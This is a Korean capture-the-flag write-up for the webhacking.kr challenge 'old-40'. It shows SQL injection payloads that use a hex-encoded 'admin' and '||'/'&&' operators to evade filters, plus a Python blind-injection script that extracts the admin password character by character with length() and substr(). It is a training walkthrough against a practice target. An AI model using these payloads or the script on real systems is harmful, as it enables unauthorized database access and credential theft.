old-40 (500)
첫 화면이다.

그대로 login 버튼을 누르면 아래와 같은 창이 뜬다.

값들이 GET 방식으로 전달된다.
no, id, pw 값에 각각 1#
, guest#
, guest#
를 넣고 결과를 확인하면 no 값에 1#
을 넣었을 때만 Success가 뜬다.
쿼리문에서 순서가 id, pw, no 혹은 pw, id, no 인 것으로 유추했다.
아래와 같이 no 값에 0||no=2&&id=0x61646d696e
을 넣은 후 제출한다. 0x61646d696e
은 admin
의 hex 값이다.

새로운 창이 뜬다.

password를 얻기 위한 파이썬 코드를 짜면 아래와 같다. ord
, ascii
, or
등은 필터링 되어 이를 고려하여 짰다.
import requests
import string
URL = 'https://webhacking.kr/challenge/web-29/?'
TRUE_PHRASE = 'admin password : '
def query(payload):
r = requests.get(URL + payload)
content = r.text
return TRUE_PHRASE in content
# 10
def find_pw_length():
pw_len = 1
while query("no=0||no=2%26%26length(pw)={}&id=guest&pw=guest".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# luck_admin
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in string.printable:
if query("no=0||no=2%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(pos, hex(ord(character)))) is True:
pw += character
break
print('pw: {}'.format(pw))
find_pw()
실행결과, password 값은 luck_admin
이다.
폼에 luck_admin
을 넣고 제출하면 문제가 풀린다.

Last updated
Was this helpful?